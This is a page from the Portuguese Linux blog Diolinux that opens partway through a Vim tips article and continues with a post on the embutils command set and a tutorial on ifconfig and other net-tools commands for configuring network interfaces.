Se deseja trabalhar num arquivo e ao mesmo tempo visualizar o conteúdo de outros arquivos, então há a possibilidade de abri-los simultaneamente com visualização única.
Você pode abrir tanto na vertical usando o parâmetro -o (minúsculo) usando o comando:

vim -o arquivo1.c arquivo2.sh arquivoN.nnn

A saída será similar a conteúdo da imagem abaixo:

VIM na Vertical

Ou caso deseje, você também pode abrir os múltiplos arquivos na horizontal usando -O (MAIÚSCULO)

VIM na Horizontal

Isso sem dizer que você pode abri-los posteriormente utilizando o comando:

split nome-do-arquivo

2 - Pegando a manha com o Gvim


Se você deseja se adaptar rapidamente ao Vim, é interessante você começar utilizando o Gvim, por exemplo. O Gvim é o Vim com interface gráfica, ou seja, funciona todos comandos igualmente, inclusive as configurações, no entanto ele possui algumas características próprias, similares a dos editores convencionais. Entre elas:
  • Conversão de documentos;
  • Variados temas e cores;
  • Configuração facilitada de família de fontes, tamanho de fonte e entre outros;

Além de que cada menu possui a possibilidade de executá-lo via comando, lhe informando o comando. Ou seja, você aprende utilizando. 

Veja abaixo algumas telas que mostram conteúdo de menus do Gvim.

GVIM

3 - Substituição de palavras com cadeia de caracteres


Muitos editores de textos e IDEs possuem suporte a Expressões Regulares, no entanto, cada qual possui uma limitação. Mas o Vim tem um suporte customizado, é amigo, tudo  pode ser customizado. Há até a customização das "mãos na roda", para encontrá-las e substituí-las existem diversos caminhos, no entanto, vou lhe dar a dica mais simples. Suponhamos que queiramos trocar todas as palavras 'vi' por 'Vim', é mais fácil e rápido do que você imagina, basta pressionar ESC e escrever o comando abaixo, o g no final é para todas as ocorrências, caso desejasse uma única troca, basta não inserí-lo:

O espaço depois do vi foi proposital para não trocar também o vim
:% s/vi /Vim/g

4 - Mapeamento de teclas


É necessário saber que todas as teclas são mapeáveis no Vim, mas como dica básica, vamos supor que você está cansado de ficar digitando :ggVG para selecionar tudo, então basta você mapear a tecla F12 , basta dar ESC e inserir o comando abaixo:
:map <F12> ggVG?
A partir de agora toda vez que você estiver no modo NORMAL, basta pressionar F12 que você irá selecionar tudo ! 😉

5 - Navegação rápida


Essa é especial para quem trabalha com Desenvolvimento de Software. Muitas vezes o compilador/interpretador nos informa o número da linha do erro da execução ou compilação do software e geralmente ficar rolando o cursor do mouse pra ficar procurando a linha, é uma verdadeira perda de tempo, no Vim você pode navegar facilmente pelo arquivo. Por exemplo, o compilador lhe disse que foram encontrados erros nas linhas: 1370846 e na linha 3 , logo, basta você digitar: ESC :1370 você vai diretamente para essa linha e novamente para as outras linhas, resolvendo de forma mais rápida e menos estressante os bugs, ops, desculpa, a palavra agora é Feature 😎.

Ah! Quase ia me esquecendo!! Para ir para primeira linha basta digitar: gg e para a última linha G 😃.

6 - PacVim


Tem muita gente que demora de se adaptar ao Vim e extrair dele o melhor para acelerar seus projetos, para isso eu recomendo o Pacvim um game bem legal que lhe ensina, jogando, como você se adaptar melhor ao vim, e utilizar as teclas: []bw{} ... para navegar mais facilmente nos documentos, pulando palavras, textos, parágrafos e assim por diante.

Para saber como instalar e usar, consulte o GitHub deles: https://github.com/jmoon018/PacVim , só tome cuidado pra não se viciar! 😊

Pacvim

7 - Customização Total do Editor


Você pode transformar o Vim no Editor que você deseja, mas do seu modo: árvores de diretóriosauto-complete de palavrascoresmarcastags e até aprender a Linguagem de Programação Vim!!! Isso mesmo, você pensou que o Vim é o mais utilizado do mundo só porque você o considera difícil ? Nada disso, você pode aprender o Vimscript, é uma "linguagem de programação do vim" , onde você pode pode criar funções, comentários, arquivos customizados no arquivo de configuração do Vim. No Curso de Vim Para Iniciantes você vai aprender diversos truques e dicas bem bacanas de Vim e Vimscript, que em pouco tempo você vai estar dando :wq para desligar seu computador!  .

Veja abaixo a imagem exemplo da minha customização escrevendo esse artigo em Markdown para o Diolinux, com plugins e auto complete de palavras.

Escrevendo o artigo no VIM

Caso deseje adquirir o Curso, aproveite e leve mais dois cursos na Promoção Diolinux e aprenda Vim e Shell Script Extremamente Avançado: Criação de Instaladores para Distros Linux, Criação de Games, Animações e muito mais!

Valeu!

Artigo produzido em conjunto com Marcos Oliveira, do Terminal Root.
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Embutils - Uma alternativa aos comandos padrões do seu Linux

Nenhum comentário

quarta-feira, 4 de abril de 2018

Embutils, assim como o "coreutils", do projeto "GNU", é um pacote que possui um conjunto de comandos para a administração do sistema. Como descrito no site oficial do embutils, a maioria do userland tipico do "Unix" vem ou do projeto "GNU", ou da galera do "BSD". Essas fontes são antigas e otimizadas para recursos, mas não para manter seu tamanho reduzido, e agora que os computadores são rápidos o suficiente e possuem muita RAM, implementações se tornam cada vez maiores.

Embutils





Essa é a maior diferença entre o "coreutils" do GNU e o "embutils", pois o "embutils" é pensado em manter o tamanho final do seu binário  bem reduzido mesmo nos tempos atuais, porém mantendo as mesmas características de recursos dos projetos anteriores citados.


Para dispositivos embarcados o "embutils" seria um prato cheio (que é o propósito primário que o "embutils" foi pensado), porém podemos utilizá-lo em desktops e servidores ou sei lá aonde mais.

Eu disse seria? SIM! Dois motivos que o atrapalhariam na adoção para embarcados é que seu desenvolvimento parou já faz quase dez anos e isso poderia gerar desinteresse por parte de desenvolvedores (como também pode ser que não). A "dietlibc" recebeu seu ultimo suporte pelo projeto oficial há cinco anos atrás, porém a biblioteca continua sendo utilizada por outros projetos como as próprias distribuições Debian e Ubuntu. Podemos verificar que a dietlibc ainda consta nos repositórios:

dietlibc-no-repositório-do-ubuntu-mate
É uma biblioteca incrível que mantem o tamanho final do binário muito enxuto e possui suporte a uma boa quantidade de arquiteturas.







O segundo motivo é que com o declínio da GPL (como pode ser lido clicando aqui), isso pode ser um motivo para afastar o interesse de empresas e projetos.

O "embutils" possui também o comando "uname" assim como o "coreutils" do "GNU" e o como o "toybox" (nenhum dos três compartilham códigos iguais, sendo totalmente escritos do zero) e sua saída do comando "uname" do "embutils" também não consta o termo "GNU/Linux" em nenhuma de suas opções (assim como não consta nas saídas do "toybox" como pode ser lido no artigo Como conheci o Alpine Linux). Gostem de saber disso ou não, mas o termo "GNU/Linux" no comando "uname" do "coreutils" foi uma forma que a FSF fez para se promover e querer que as pessoas chamem o sistema operacional.

comando-uname-do-embutils-utilizado-para-verificar-o-sistema-operacional

Bom, por hora é só e em breve falaremos do conjunto de comandos para o mesmo propósito do sistema operacional "Plan9" ;)
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


3 comandos Linux para você trabalhar com interfaces de rede

Nenhum comentário

quinta-feira, 15 de março de 2018

Eu geralmente não posto dicas envolvendo terminal aqui no Diolinux, mas acho que é muito válido que você aprenda alguns truques "mais avançados" do Linux para poder usar no dia a dia, se quiser, é claro. Tudo o que eu vou mostrar aqui pode ser feito via interface gráfica também, mas como o tema de hoje é "terminal", é por ele que vamos explorar.

Comandos de rede no Linux






Os comandos que eu vou te ensinar agora podem ser utilizados em qualquer distribuição Linux, no entanto, no tutorial em vou utilizar o Linux Mint, que funciona da mesma forma que o Ubuntu. Os comandos fazem parte de um pacote chamado net-tools, de modo que se algum deles não for reconhecido, pode ser que o pacote esteja faltando no seu sistema, cabendo a você instalá-lo.

Em derivados do Debian e Ubuntu (como o Linux Mint por exemplo) basta instalar usando o APT:
$ sudo apt install net-tools
ou como Root:
# apt install net-tools

1 - Vamos começar com algo simples, ver as suas conexões de rede com informações como o seu IP (endereço de brodcast, mac, etc.).


Existem várias formas de fazer isso,  algumas das opções são:
ifconfig
 ip addr show
hostname -I 
As várias formas de ver o seu IP no Linux

2 - Habilitar e desabilitar interfaces de rede


Para fazer isso você precisa primeiro conhecer o nome das suas interfaces de rede, o comando ifconfig mencionado antes funciona muito bem para isso. Inclusive, vamos usar várias vezes o ifconfig aqui, então para desabilitar ou habilitar uma interface de rede, você simplesmente pode fazer isso:
sudo ifconfig nome_da_interface up ou down
Por exemplo:
sudo ifconfig enp35s0 down
Para desabilitar a interface e:
sudo ifconfig enp35s0 up
Para fazê-la "subir" novamente.

Existe uma variação mais simples deste comando para que você precise digitar menos:
sudo ifdown nome_da_interface
ou:
sudo ifup nome_da_interface

3 - Como definir um IP fixo para uma interface de rede


Se você está aí "brincando" de montar um servidor, é bem provável que você queira ter um IP fixo nele, para fazer isso via linha de comando você pode fazer assim:
sudo ifconfig nome_da_interface 0.0.0.0
No exemplo ficaria:
sudo ifconfig enp35s0 192.168.0.60
Aproveitando o embalo você pode querer também colocar uma máscara de sub-rede, um endereço de broadcast, talvez um valor de MTU personalizado, certo?

Isso é bem fácil de fazer e a lógica é praticamente a mesma.

Para a máscara:
sudo ifconfig nome_da_interface netmask valor_da_máscara
Por exemplo:
sudo ifconfig  enp35s0 netmask 255.255.255.0
Para configurar o endereço de Broadcast:
sudo ifconfig nome_da_interface broadcast 0.0.0.0
Por exemplo:
sudo ifconfig enp35s0 broadcast 192.168.0.255
Para definir o valor de MTU:
sudo ifconfig nome_da_interface mtu valor
Por exemplo:
sudo ifconfig enp35s0 mtu 1500
E claro, se você já é ligado em como o terminal funciona deve ter percebido que dá para configurar tudo isso de uma vez só, seguindo o exemplo:
sudo ifconfig enp35s0 192.168.0.60 netmask 255.255.255.0 broadcast 192.168.0.255 mtu 1500

Concluindo


Apesar de eu ter prometido 3 comandos, no fim das contas você aprendeu muito mais do que isso, não é verdade? Acho que isso não é um problema, certo? :D

Saiba que existem muitos outros utilitários além do ifconfig para que você possa trabalhar com as suas interfaces de rede e colher informações também.

Separei para você aqui uma oferta especial dos nossos parceiros da Udemy em um curso bem em conta para você estudar sobre servidores Ubuntu, onde são abordadas configurações de placas de rede e muitas outras coisas, como Firewall, proxy, entre outros, clique aqui e conheça.

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Blog Diolinux © all rights reserved
made with by templateszoo